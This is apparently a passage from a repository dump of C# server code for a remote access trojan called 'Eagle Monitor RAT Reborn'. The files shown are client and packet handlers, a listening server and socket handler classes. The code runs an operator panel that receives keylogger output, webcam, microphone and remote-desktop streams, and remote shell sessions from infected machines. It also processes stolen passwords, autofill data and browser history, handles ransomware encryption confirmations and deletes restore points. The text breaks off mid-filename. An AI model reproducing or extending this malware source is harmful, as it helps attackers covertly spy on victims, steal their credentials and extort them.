Eagle_Monitor_RAT_Reborn.Network { internal class ClientHandler : IDisposable { static ClientHandler() { ClientHandlersList = new Dictionary(); readDataAsync = new ReadDataAsync(ReceiveData); parsePacketAsync = new ParsePacketAsync(ParsePacket); sendDataAsync = new SendDataAsync(SendData); } internal static Dictionary ClientHandlersList { get; set; } internal static int CurrentClientsNumber { get { return ClientHandlersList.Count; } } private static readonly ReadDataAsync readDataAsync; private static readonly ParsePacketAsync parsePacketAsync; private static readonly SendDataAsync sendDataAsync; private delegate byte[] ReadDataAsync(ClientHandler clientHandler); private delegate IPacket ParsePacketAsync(byte[] BufferPacket); private delegate IPacket SendDataAsync(ClientHandler clientHandler, IPacket data); internal static void SendPacketToMultipleClients(IPacket packet) { foreach (DataGridViewRow dataGridViewRow in Program.mainForm.clientDataGridView.SelectedRows) { StartSendData(ClientHandler.ClientHandlersList[dataGridViewRow.Cells[2].Value.ToString()], packet); } } #region "Non Static" internal Socket Socket { get; set; } internal string IP { get; set; } internal string HWID { get; set; } internal string FullName { get; set; } internal DataGridViewRow ClientRow { get; set; } internal int ServerPort { get; set; } internal string ClientPath { get; set; } internal string ClientStatus { get; set; } internal bool Is64bitClient { get; set; } internal bool IsAdmin { get; set; } internal EncryptionInformation EncryptionInformation { get; set; } internal ClientForm ClientForm { get; set; } internal long TotalBytesReceived { get; set; } internal long TotalBytesSent { get; set; } internal ClientHandler(Socket sock, int port) : base() { this.Socket = sock; this.IP = Socket.RemoteEndPoint.ToString(); this.ServerPort = port; StartReceiveData(this); } #endregion #region "Receive" private static void StartReceiveData(ClientHandler clientHandler) { if (clientHandler.Socket != null) readDataAsync.BeginInvoke(clientHandler, new AsyncCallback(EndReceiveData), clientHandler); else return; } private static byte[] ReceiveData(ClientHandler clientHandler) { try { int total = 0; int recv; byte[] header = new byte[5]; clientHandler.Socket.Poll(-1, SelectMode.SelectRead); recv = clientHandler.Socket.Receive(header, 0, 5, 0); int size = BitConverter.ToInt32(new byte[4] { header[0], header[1], header[2], header[3] }, 0); PacketType packetType = (PacketType)header[4]; int dataleft = size; byte[] data = new byte[size]; while (total < size) { recv = clientHandler.Socket.Receive(data, total, dataleft, 0); total += recv; dataleft -= recv; } return data; } catch (Exception ex) { if (ex is SocketException) clientHandler.Dispose(); return null; /*SocketException sockError = ex as SocketException; if (sockError != null) clientHandler.Dispose(); return null;*/ } } private static void EndReceiveData(IAsyncResult ar) { byte[] data = readDataAsync.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; if (data != null && data.Length > 0) StartParsePacket(data, clientHandler); if (clientHandler.Socket != null) StartReceiveData(clientHandler); } #endregion #region "Parser" private static void StartParsePacket(byte[] data, ClientHandler clientHandler) { parsePacketAsync.BeginInvoke(data, new AsyncCallback(EndParsePacket), clientHandler); } private static IPacket ParsePacket(byte[] BufferPacket) { IPacket packet = BufferPacket.DeserializePacket(Program.settings.key); packet.PacketSize = BufferPacket.Length; return packet; } private static void EndParsePacket(IAsyncResult ar) { IPacket packet = parsePacketAsync.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; /* if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//!!! if password recovery tasks and similar {*/ if (packet != null) { switch (packet.PacketType) { case PacketType.CONNECTED: lock (ClientHandlersList) { ClientHandlersList.Add(clientHandler.IP, clientHandler); Controls.Utils.SetTotalClients(); } //new PacketHandler(packet, this); PacketHandler.StartHandlePacket(packet, clientHandler); break; case PacketType.RM_VIEW_ON: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null)//we could even receive packet after closing form { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; case PacketType.RC_CAPTURE_ON: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; case PacketType.AUDIO_RECORD_ON: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; case PacketType.KEYLOG_ON: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } //new PacketHandler(packet, this); break; case PacketType.FM_DOWNLOAD_FILE: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { PacketHandler.StartHandlePacket(packet, clientHandler); } // new PacketHandler(packet, this); break; case PacketType.CHAT_ON: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; case PacketType.SHELL_START: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; case PacketType.SHELL_COMMAND: if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler = clientHandler; ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.ClientHandler.HWID = packet.HWID; PacketHandler.StartHandlePacket(packet, clientHandler); } break; default: PacketHandler.StartHandlePacket(packet, ClientHandler.ClientHandlersList[packet.BaseIp]); clientHandler.Dispose(); break; } } } #endregion #region "Send" internal static void StartSendData(ClientHandler clientHandler, IPacket packet) { packet.HWID = clientHandler.HWID; if( packet.PacketType != PacketType.RM_VIEW_OFF && packet.PacketType != PacketType.RM_VIEW_ON && packet.PacketType != PacketType.RM_MOUSE && packet.PacketType != PacketType.RM_KEYBOARD && packet.PacketType != PacketType.RC_CAPTURE_OFF && packet.PacketType != PacketType.RC_CAPTURE_ON && packet.PacketType != PacketType.AUDIO_RECORD_OFF && packet.PacketType != PacketType.AUDIO_RECORD_ON && packet.PacketType != PacketType.KEYLOG_OFF && packet.PacketType != PacketType.KEYLOG_ON && packet.PacketType != PacketType.CHAT_OFF && packet.PacketType != PacketType.CHAT_ON && packet.PacketType != PacketType.SHELL_STOP && packet.PacketType != PacketType.SHELL_COMMAND ) packet.BaseIp = clientHandler.IP; if (clientHandler.Socket != null) sendDataAsync.BeginInvoke(clientHandler, packet, new AsyncCallback(EndSendData), clientHandler); } private static IPacket SendData(ClientHandler clientHandler, IPacket data) { byte[] encryptedData = data.SerializePacket(Program.settings.key); int total = 0; int size = encryptedData.Length; int datalft = size; byte[] header = new byte[5]; byte[] temp = BitConverter.GetBytes(size); data.PacketSize = size; header[0] = temp[0]; header[1] = temp[1]; header[2] = temp[2]; header[3] = temp[3]; header[4] = (byte)data.PacketType; lock (clientHandler.Socket) { try { clientHandler.Socket.Poll(-1, SelectMode.SelectWrite); int sent = clientHandler.Socket.Send(header); if (size > 1000000) { using (MemoryStream memoryStream = new MemoryStream(encryptedData)) { int read = 0; memoryStream.Position = 0; byte[] chunk = new byte[50 * 1000]; while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0) { clientHandler.Socket.Send(chunk, 0, read, SocketFlags.None); } } } else { while (total < size) { sent = clientHandler.Socket.Send(encryptedData, total, size, SocketFlags.None); total += sent; datalft -= sent; } } data.PacketState = PacketState.SENT; } catch (Exception ex) { data.PacketState = PacketState.NOT_SENT; data.Status = ex.Message; if (ex is SocketException) clientHandler.Dispose(); /* data.packetState = PacketState.NOT_SENT; data.status = ex.Message; SocketException sockError = ex as SocketException; if (sockError != null) clientHandler.Dispose();*/ } } return data; } private static void EndSendData(IAsyncResult ar) { IPacket packet = sendDataAsync.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; IAsyncResult result; packet.DatePacketStatus = DateTime.Now.ToString(); string size = Misc.Utils.Numeric2Bytes(packet.PacketSize); switch (packet.PacketType) { case PacketType.RM_VIEW_OFF: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteDesktopHandler = null; } break; case PacketType.RC_CAPTURE_OFF: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteWebCamHandler = null; } break; case PacketType.AUDIO_RECORD_OFF: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteMicrophoneHandler = null; } break; case PacketType.KEYLOG_OFF: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.KeyloggerHandler = null; } break; case PacketType.CHAT_OFF: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.ChatHandler = null; } break; case PacketType.SHELL_STOP: lock (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler) { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler.Dispose(); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.RemoteShellHandler = null; } break; } if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null && packet.PacketType != PacketType.CLOSE_CLIENT && packet.PacketType != PacketType.UNINSTALL_CLOSE_CLIENT) { try//Label deleted when closin form { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Invoke((Action)(() => { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesSentlabel.Text = $"Bytes sent : {size}"; })); } catch {} } #region "Logs" result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => { int rowId = Program.mainForm.logsDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; row.Cells["Column11"].Value = packet.HWID; row.Cells["Column12"].Value = packet.BaseIp; row.Cells["Column13"].Value = packet.PacketType.ToString(); row.Cells["Column14"].Style.ForeColor = Color.FromArgb(66, 182, 245); row.Cells["Column14"].Value = packet.PacketState; row.Cells["Column15"].Value = packet.DatePacketStatus; row.Cells["Column17"].Value = size; if (packet.PacketState == PacketState.NOT_SENT) { row.Cells["Column16"].Value = packet.Status; return; } else { switch (packet.PacketType) { case PacketType.FM_DOWNLOAD_FILE: row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; break; case PacketType.FM_DELETE_FILE: row.Cells["Column16"].Value = ((DeleteFilePacket)packet).path; break; case PacketType.FM_START_FILE: row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; break; case PacketType.FM_GET_FILES_AND_DIRS: row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; break; case PacketType.SHELL_COMMAND: row.Cells["Column16"].Value = ((NewCommandShellSessionPacket)packet).shellCommand; break; } } Program.mainForm.logsDataGridView.ClearSelection(); Program.mainForm.logsDataGridView.CurrentCell = null; })); Program.mainForm.logsDataGridView.EndInvoke(result); #endregion packet = null; } #endregion #region "Cleaning Memory" public void Dispose() { Socket?.Shutdown(SocketShutdown.Both); Socket?.Close(); Socket?.Dispose(); Socket = null; if (ClientHandlersList.ContainsKey(this.IP)) ClientHandlersList.Remove(this.IP); Controls.Utils.SetTotalClients(); if (this.ClientRow != null) { lock (Program.mainForm.clientDataGridView) { Program.mainForm.clientDataGridView.Invoke((MethodInvoker)(() => { Program.mainForm.clientDataGridView.Rows.Remove(this.ClientRow); })); } Controls.Utils.CloseForm(this.ClientForm); this.ClientForm?.Dispose(); this.ClientForm = null; GC.SuppressFinalize(this); } Miscellaneous.CleanMemory(); } #endregion } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/KeyloggerHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class KeyloggerHandler : IDisposable { internal ClientHandler clientHandler { get; set; } internal string baseIp { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/PacketHandler.cs ================================================ using Eagle_Monitor_RAT_Reborn.PacketHandler; using PacketLib; using PacketLib.Packet; using System; using System.Drawing; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class PacketHandler { static PacketHandler() { packetParser = new PacketHandle(HandlePacket); } private delegate IPacket PacketHandle(IPacket packet, ClientHandler clientHandler); private static readonly PacketHandle packetParser; internal static void StartHandlePacket(IPacket packet, ClientHandler clientHandler) { packetParser.BeginInvoke(packet, clientHandler, new AsyncCallback(EndHandlePacket), clientHandler); } private static void EndHandlePacket(IAsyncResult ar) { IPacket packet = packetParser.EndInvoke(ar); ClientHandler clientHandler = (ClientHandler)ar.AsyncState; IAsyncResult result; string size = Misc.Utils.Numeric2Bytes(packet.PacketSize); if (ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm != null && ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel != null) { result = ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.BeginInvoke((Action)(() => { ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.Text = $"Bytes received : {size}"; })); ClientHandler.ClientHandlersList[packet.BaseIp].ClientForm.bytesReceivedLabel.EndInvoke(result); } switch (packet.PacketType) { case PacketType.CONNECTED: ClientHandler.StartSendData(clientHandler, new BaseIpPacket(packet.BaseIp)); //ClientHandler.ClientHandlersList[packet.baseIp].SendPacket(new BaseIpPacket(packet.baseIp)); break; case PacketType.RC_CAPTURE_ON: return; case PacketType.RM_VIEW_ON: return; case PacketType.AUDIO_RECORD_ON: return; case PacketType.SHELL_COMMAND: return; default: result = Program.mainForm.logsDataGridView.BeginInvoke((MethodInvoker)(() => { int rowId = Program.mainForm.logsDataGridView.Rows.Add(); DataGridViewRow row = Program.mainForm.logsDataGridView.Rows[rowId]; row.Cells["Column11"].Value = packet.HWID; row.Cells["Column12"].Value = packet.BaseIp; row.Cells["Column13"].Value = packet.PacketType.ToString(); row.Cells["Column14"].Style.ForeColor = Color.FromArgb(197, 66, 245); row.Cells["Column14"].Value = packet.PacketState; row.Cells["Column15"].Value = packet.DatePacketStatus; row.Cells["Column17"].Value = size; switch (packet.PacketType) { case PacketType.FM_DOWNLOAD_FILE: row.Cells["Column16"].Value = ((DownloadFilePacket)packet).fileName; break; case PacketType.FM_DELETE_FILE: /* if (((DeleteFilePacket)packet).deleted == true) row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " DELETED"; else row.Cells["Column16"].Value = Miscellaneous.SplitPath(((DeleteFilePacket)packet).path) + " NOT DELETED";*/ break; case PacketType.FM_START_FILE: row.Cells["Column16"].Value = ((StartFilePacket)packet).filePath; break; case PacketType.FM_GET_FILES_AND_DIRS: row.Cells["Column16"].Value = ((FileManagerPacket)packet).path; break; case PacketType.CONNECTED: row.Cells["Column16"].Value = ClientHandler.ClientHandlersList[packet.BaseIp].ClientStatus; break; case PacketType.FM_SHORTCUT_PATH: row.Cells["Column16"].Value = ((ShortCutFileManagersPacket)packet).shortCuts; break; case PacketType.FM_UPLOAD_FILE: /* if (((UploadFilePacket)packet).uploaded == true) row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " UPLOADED"; else row.Cells["Column16"].Value = Miscellaneous.SplitPath(((UploadFilePacket)packet).path) + " NOT UPLOADED";*/ break; case PacketType.CHAT_ON: row.Cells["Column16"].Value = ((RemoteChatPacket)packet).msg; break; case PacketType.UAC_DELETE_RESTORE_POINT: if (((DeleteRestorePointPacket)packet).deleted == true) row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " DELETED"; else row.Cells["Column16"].Value = ((DeleteRestorePointPacket)packet).index.ToString() + " NOT DELETED"; break; } Program.mainForm.logsDataGridView.ClearSelection(); Program.mainForm.logsDataGridView.CurrentCell = null; })); Program.mainForm.logsDataGridView.EndInvoke(result); break; } packet = null; } private static IPacket HandlePacket(IPacket packet, ClientHandler clientHandler) { switch (packet.PacketType) { case PacketType.CONNECTED: new ConnectedPacketHandler((ConnectedPacket)packet, clientHandler); break; case PacketType.RECOVERY_PASSWORDS: PasswordsPacket pass = (PasswordsPacket)packet; new PasswordsPacketHandler(pass); break; case PacketType.RECOVERY_HISTORY: HistoryPacket history = (HistoryPacket)packet; new HistoryPacketHandler(history); break; case PacketType.RECOVERY_AUTOFILL: AutofillPacket autofillPacket = (AutofillPacket)packet; new AutofillPacketHandler(autofillPacket); break; case PacketType.RECOVERY_KEYWORDS: KeywordsPacket keywordsPacket = (KeywordsPacket)packet; new KeywordsPacketHandler(keywordsPacket); break; case PacketType.FM_GET_DISK: DiskPacket disk = (DiskPacket)packet; new DisksPacketHandler(disk); break; case PacketType.FM_GET_FILES_AND_DIRS: FileManagerPacket fileManagerPacket = (FileManagerPacket)packet; new FileManagerPacketHandler(fileManagerPacket); break; case PacketType.FM_SHORTCUT_PATH: ShortCutFileManagersPacket shortCutFileManagersPacket = (ShortCutFileManagersPacket)packet; new ShortCutFileManagersPacketHandler(shortCutFileManagersPacket); break; case PacketType.FM_DOWNLOAD_FILE: DownloadFilePacket downloadFilePacket = (DownloadFilePacket)packet; new DownloadFilePacketHandler(downloadFilePacket, clientHandler); break; case PacketType.FM_DELETE_FILE: DeleteFilePacket deleteFilePacket = (DeleteFilePacket)packet; new DeleteFilePacketHandler(deleteFilePacket); break; case PacketType.PM_GET_PROCESSES: ProcessManagerPacket processManagerPacket = (ProcessManagerPacket)packet; new ProcessManagerPacketHandler(processManagerPacket); break; case PacketType.PM_KILL_PROCESS: ProcessKillerPacket processKillerPacket = (ProcessKillerPacket)packet; new ProcessKillerPacketHandler(processKillerPacket); break; case PacketType.PM_SUSPEND_PROCESS: SuspendProcessPacket suspendProcessPacket = (SuspendProcessPacket)packet; new SuspendProcessPacketHandler(suspendProcessPacket); break; case PacketType.PM_RESUME_PROCESS: ResumeProcessPacket resumeProcessPacket = (ResumeProcessPacket)packet; new ResumeProcessPacketHandler(resumeProcessPacket); break; case PacketType.RM_VIEW_ON: RemoteViewerPacket remoteViewerPacket = (RemoteViewerPacket)packet; new RemoteViewerPacketHandler(remoteViewerPacket); break; case PacketType.RC_GET_CAM: RemoteCameraPacket remoteCameraPacket = (RemoteCameraPacket)packet; new RemoteCameraPacketHandler(remoteCameraPacket); break; case PacketType.RC_CAPTURE_ON: RemoteCameraCapturePacket RemoteCameraCapturePacket = (RemoteCameraCapturePacket)packet; new RemoteCameraCapturePacketHandler(RemoteCameraCapturePacket); break; case PacketType.AUDIO_GET_DEVICES: RemoteAudioPacket remoteAudioPacket = (RemoteAudioPacket)packet; new RemoteAudioPacketHandler(remoteAudioPacket); break; case PacketType.AUDIO_RECORD_ON: RemoteAudioCapturePacket remoteAudioCapturePacket = (RemoteAudioCapturePacket)packet; new RemoteAudioCapturePacketHandler(remoteAudioCapturePacket); break; case PacketType.MISC_INFORMATION: InformationPacket informationPacket = (InformationPacket)packet; new InformationPacketHandler(informationPacket); break; case PacketType.KEYLOG_ON: KeylogPacket keylogPacket = (KeylogPacket)packet; new KeylogPacketHandler(keylogPacket); break; case PacketType.CHAT_ON: RemoteChatPacket chatPacket = (RemoteChatPacket)packet; new ChatPacketHandler(chatPacket); break; case PacketType.UAC_GET_RESTORE_POINT: RestorePointPacket restorePointPacket = (RestorePointPacket)packet; new RestorePointPacketHandler(restorePointPacket); break; case PacketType.UAC_DELETE_RESTORE_POINT: DeleteRestorePointPacket deleteRestorePointPacket = (DeleteRestorePointPacket)packet; new DeleteRestorePointPacketHandler(deleteRestorePointPacket); break; case PacketType.KEYLOG_OFFLINE: KeylogOfflinePacket keylogOfflinePacket = (KeylogOfflinePacket)packet; new KeylogOfflinePacketHandler(keylogOfflinePacket, clientHandler); break; case PacketType.RANSOMWARE_ENCRYPTION_CONFIRMATION: RansomwareConfirmationPacket ransomwareConfirmationPacket = (RansomwareConfirmationPacket)packet; new RansomareEncryptionConfirmationPacketHandler(ransomwareConfirmationPacket); break; case PacketType.SHELL_COMMAND: StdOutShellSessionPacket stdOutShellSessionPacket = (StdOutShellSessionPacket)packet; new RemoteShellStdOutPacketHandler(stdOutShellSessionPacket); break; case PacketType.SHELL_START: StartShellSessionPacket startShellSessionPacket = (StartShellSessionPacket)packet; new RemoteStartShellPacketHandler(startShellSessionPacket); break; case PacketType.MISC_NETWORK_INFORMATION: NetworkInformationPacket networkInformationPacket = (NetworkInformationPacket)packet; new NetworkInformationPacketHandler(networkInformationPacket); break; default: break; /* case PacketType.FM_RENAME_FILE: RenameFilePacket renameFilePacket = (RenameFilePacket)packet; new RenameFilePacketHandler(renameFilePacket, clientHandler); break; */ } packet.PacketState = PacketState.RECEIVED; packet.DatePacketStatus = DateTime.Now.ToString(); return packet; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteDesktopHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteDesktopHandler : IDisposable { internal ClientHandler clientHandler { get; set; } internal bool enabledMouse { get; set; } internal bool enableKeyboard { get; set; } internal bool hasAlreadyConnected { get; set; } internal int vResol { get; set; } internal int hResol { get; set; } internal string baseIp { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteMicrophoneHandler.cs ================================================ using NAudio.Wave; using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteMicrophoneHandler : IDisposable { internal RemoteMicrophoneHandler() { waveOut = new WaveOut(); bufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1)); } internal ClientHandler clientHandler { get; set; } internal WaveOut waveOut { get; set; } internal BufferedWaveProvider bufferedWaveProvider { get; set; } internal string currentFileName { get; set; } internal int currentOffset { get; set; } internal WaveFileWriter waveFileWriter { get; set; } internal bool hasAlreadyConnected { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } this.waveFileWriter.Close(); this.bufferedWaveProvider.ClearBuffer(); this.currentFileName = ""; } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteShellHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteShellHandler : IDisposable { internal ClientHandler clientHandler { get; set; } internal string baseIp { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/RemoteWebCamHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteWebCamHandler : IDisposable { internal ClientHandler clientHandler { get; set; } internal bool hasAlreadyConnected { get; set; } //internal int vResol { get; set; } //internal int hResol { get; set; } internal string baseIp { get; set; } public void Dispose() { clientHandler.socket.Close(); if (clientHandler.socket != null) { clientHandler.socket.Dispose(); clientHandler.socket = null; clientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/ServerHandler.cs ================================================ using System; using System.Collections.Generic; using System.Net; using System.Net.Sockets; using System.Windows.Forms; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class ServerHandler : IDisposable { static ServerHandler() { StopServer = false; Servers = new List(); acceptClientAsync = new AcceptClientAsync(AcceptClient); } internal readonly static List Servers; internal static int CurrentServersNumber { get { return Servers.Count; } } internal static bool StopServer { get; set; } private static readonly AcceptClientAsync acceptClientAsync; private delegate ClientHandler AcceptClientAsync(ServerHandler serverHandler); #region "Non Static" private int ServerPort { get; set; } internal Socket socket; internal ServerHandler(int port) : base() { Servers.Add(this); ServerPort = port; IPEndPoint endPoint = new IPEndPoint(IPAddress.Any, port); socket = new Socket(endPoint.AddressFamily, SocketType.Stream, ProtocolType.Tcp); try { socket.Bind(endPoint); socket.Listen(int.MaxValue); StartAcceptClient(this); } catch (Exception ex) { MessageBox.Show(ex.ToString()); } } #endregion private static void StartAcceptClient(ServerHandler serverHandler) { acceptClientAsync.BeginInvoke(serverHandler, new AsyncCallback(EndAcceptClient), serverHandler); } private static ClientHandler AcceptClient(ServerHandler serverHandler) { if(!StopServer) return new ClientHandler(serverHandler.socket.Accept(), serverHandler.ServerPort); else return null; } private static void EndAcceptClient(IAsyncResult ar) { acceptClientAsync.EndInvoke(ar); ServerHandler serverHandler = (ServerHandler)ar.AsyncState; if (!StopServer) ServerHandler.StartAcceptClient(serverHandler); else serverHandler.Dispose(); } public void Dispose() { this.socket.Shutdown(SocketShutdown.Both); this.socket.Close(); this.socket?.Dispose(); } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/ChatHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class ChatHandler : IDisposable { internal ClientHandler ClientHandler { get; set; } internal string BaseIp { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/KeyloggerHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class KeyloggerHandler : IDisposable { internal ClientHandler ClientHandler { get; set; } internal string BaseIp { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteDesktopHandler.cs ================================================ using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteDesktopHandler : IDisposable { internal ClientHandler ClientHandler { get; set; } internal bool EnabledMouse { get; set; } internal bool EnableKeyboard { get; set; } internal bool HasAlreadyConnected { get; set; } internal int VResol { get; set; } internal int HResol { get; set; } internal string BaseIp { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } } } } ================================================ FILE: Remote Access Tool/Eagle Monitor RAT Reborn/Network/SocketHandler/RemoteMicrophoneHandler.cs ================================================ using NAudio.Wave; using System; /* || AUTHOR Arsium || || github : https://github.com/arsium || */ namespace Eagle_Monitor_RAT_Reborn.Network { internal class RemoteMicrophoneHandler : IDisposable { internal RemoteMicrophoneHandler() { WaveOut = new WaveOut(); BufferedWaveProvider = new BufferedWaveProvider(new WaveFormat(44100, 1)); } internal ClientHandler ClientHandler { get; set; } internal WaveOut WaveOut { get; set; } internal BufferedWaveProvider BufferedWaveProvider { get; set; } internal string CurrentFileName { get; set; } internal int CurrentOffset { get; set; } internal WaveFileWriter WaveFileWriter { get; set; } internal bool HasAlreadyConnected { get; set; } public void Dispose() { ClientHandler.Socket.Close(); if (ClientHandler.Socket != null) { ClientHandler.Socket.Dispose(); ClientHandler.Socket = null; ClientHandler = null; } this.WaveFileWriter.Close(); this.BufferedWaveProvider.ClearBuffer(); this.CurrentFileName = ""; } } } ================================================ FILE: Remote Access 